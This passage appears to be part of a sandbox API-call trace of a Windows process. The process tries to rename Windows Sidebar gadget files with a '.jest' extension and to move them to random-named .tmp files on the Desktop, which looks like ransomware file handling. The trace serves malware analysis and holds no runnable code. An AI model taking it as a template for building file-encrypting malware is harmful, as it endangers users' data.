(x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png.jest") returned 76 [0126.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", lpUsedDefaultChar=0x0) returned 71 [0126.432] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x46 [0126.432] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbf1ad59c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x57, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0126.432] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.433] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.433] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x136)) [0126.433] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x136)) [0126.433] GetUserDefaultLCID () returned 0x409 [0126.433] VarBstrFromR4 (in: fltIn=0x47944528, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.31") returned 0x0 [0126.433] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.433] GetTickCount () returned 0x11520e9 [0126.433] GetTickCount () returned 0x11520e9 [0126.433] GetTickCount () returned 0x11520e9 [0126.433] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.433] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.434] GetTickCount () returned 0x11520e9 [0126.434] IsWindowVisible (hWnd=0x30268) returned 0 [0126.434] Sleep (dwMilliseconds=0x0) [0126.434] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.434] GetFullPathNameA (in: lpFileName="0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp", lpFilePart=0x18e708*="0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp") returned 0x8e [0126.435] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x46 [0126.435] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\logo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0d my1xxexqomvlgl8gefjbpm8plck264zzt6i9jlxqy7gwx5hauyhsqbmic-k lhmqm0gozqobndgugifp6uzouok4axrfqy7li.tmp")) returned 0 [0126.435] GetLastError () returned 0x5 [0126.435] GetLastError () returned 0x5 [0126.435] SetLastError (dwErrCode=0x5) [0126.435] GetLastError () returned 0x5 [0126.435] SetLastError (dwErrCode=0x5) [0126.435] GetLastError () returned 0x5 [0126.435] SetLastError (dwErrCode=0x5) [0126.435] GetFullPathNameA (in: lpFileName="0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp", lpFilePart=0x18e6e4*="0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp") returned 0x8e [0126.435] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0D my1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d204430, cFileName="y1xXExQOMVLgL8GEFjbPM8PLcK264Zzt6I9jLxqy7Gwx5HaUYHsQbmiC-k Lhmqm0GoZQObndGugIFP6UZOuoK4AXRfqY7LI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.435] GetLastError () returned 0x2 [0126.435] GetLastError () returned 0x2 [0126.435] SetLastError (dwErrCode=0x2) [0126.436] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.436] GetLastError () returned 0x0 [0126.436] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.436] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.436] GetTickCount () returned 0x11520e9 [0126.436] GetTickCount () returned 0x11520e9 [0126.436] GetTickCount () returned 0x11520e9 [0126.436] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.436] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.436] GetTickCount () returned 0x11520e9 [0126.436] IsWindowVisible (hWnd=0x30268) returned 0 [0126.436] Sleep (dwMilliseconds=0x0) [0126.436] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\logo.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\logo.png.jest")) returned 0 [0126.437] GetLastError () returned 0x5 [0126.437] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥汜杯⹯湰g") returned 0x47 [0126.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0126.437] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥汜杯⹯湰g") returned 0x47 [0126.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=72, lpWideCharStr=0x14c2ea4, cchWideChar=143 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png") returned 72 [0126.437] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥汜杯⹯湰⹧敪瑳") returned 0x4c [0126.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0126.437] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥汜杯⹯湰⹧敪瑳") returned 0x4c [0126.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=77, lpWideCharStr=0x144eaec, cchWideChar=153 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png.jest") returned 77 [0126.437] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x47 [0126.437] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x57, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0126.437] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.437] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.437] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x136)) [0126.438] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x136)) [0126.438] GetUserDefaultLCID () returned 0x409 [0126.438] VarBstrFromR4 (in: fltIn=0x47944528, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.31") returned 0x0 [0126.438] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.438] GetTickCount () returned 0x11520e9 [0126.438] GetTickCount () returned 0x11520e9 [0126.438] GetTickCount () returned 0x11520e9 [0126.438] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.438] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.438] GetTickCount () returned 0x11520e9 [0126.438] IsWindowVisible (hWnd=0x30268) returned 0 [0126.438] Sleep (dwMilliseconds=0x0) [0126.438] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.439] GetFullPathNameA (in: lpFileName="3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp", lpFilePart=0x18e708*="3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp") returned 0x8f [0126.439] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x47 [0126.439] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\logo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3y_4qojugyqbiks2xxeelbi2vpxxx5imsmrgvj4skhuaj7fh7b4qwc-_z8tghkxc4 22gptlveqdpq9ok kgvtzqxbksbrsjbcr7t.tmp")) returned 0 [0126.439] GetLastError () returned 0x5 [0126.439] GetLastError () returned 0x5 [0126.439] SetLastError (dwErrCode=0x5) [0126.439] GetLastError () returned 0x5 [0126.439] SetLastError (dwErrCode=0x5) [0126.439] GetLastError () returned 0x5 [0126.440] SetLastError (dwErrCode=0x5) [0126.440] GetFullPathNameA (in: lpFileName="3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp", lpFilePart=0x18e6e4*="3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp") returned 0x8f [0126.440] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3y_4qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x345f7933, cFileName="qOjugYQBikS2xxEElbI2VPxxx5ImsMrgvj4sKHUAJ7fh7B4qwC-_z8TGhkXC4 22GptLvEqDpQ9oK kgvTZQXBKsBrSjBcr7T.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.440] GetLastError () returned 0x2 [0126.440] GetLastError () returned 0x2 [0126.440] SetLastError (dwErrCode=0x2) [0126.440] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔣ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.440] GetLastError () returned 0x0 [0126.440] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.441] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.441] GetLastError () returned 0x0 [0126.441] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.441] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵨", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.441] GetLastError () returned 0x0 [0126.441] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.442] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᓷ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.442] GetLastError () returned 0x0 [0126.442] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.442] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ŏ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.442] GetLastError () returned 0x0 [0126.442] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.442] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.442] GetTickCount () returned 0x11520e9 [0126.442] GetTickCount () returned 0x11520e9 [0126.443] GetTickCount () returned 0x11520e9 [0126.443] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.443] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.443] GetTickCount () returned 0x11520e9 [0126.443] IsWindowVisible (hWnd=0x30268) returned 0 [0126.443] Sleep (dwMilliseconds=0x0) [0126.444] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml.jest")) returned 0 [0126.444] GetLastError () returned 0x5 [0126.445] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸l") returned 0x4f [0126.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.445] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸l") returned 0x4f [0126.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=80, lpWideCharStr=0x144ddec, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml") returned 80 [0126.445] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸⹬敪瑳") returned 0x54 [0126.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.445] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸⹬敪瑳") returned 0x54 [0126.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=85, lpWideCharStr=0x1445ffc, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.jest") returned 85 [0126.445] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x4f [0126.445] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0126.445] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.445] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.445] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x136)) [0126.445] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x136)) [0126.445] GetUserDefaultLCID () returned 0x409 [0126.446] VarBstrFromR4 (in: fltIn=0x47944528, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.31") returned 0x0 [0126.446] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.446] GetTickCount () returned 0x11520e9 [0126.446] GetTickCount () returned 0x11520e9 [0126.446] GetTickCount () returned 0x11520e9 [0126.446] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.446] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.446] GetTickCount () returned 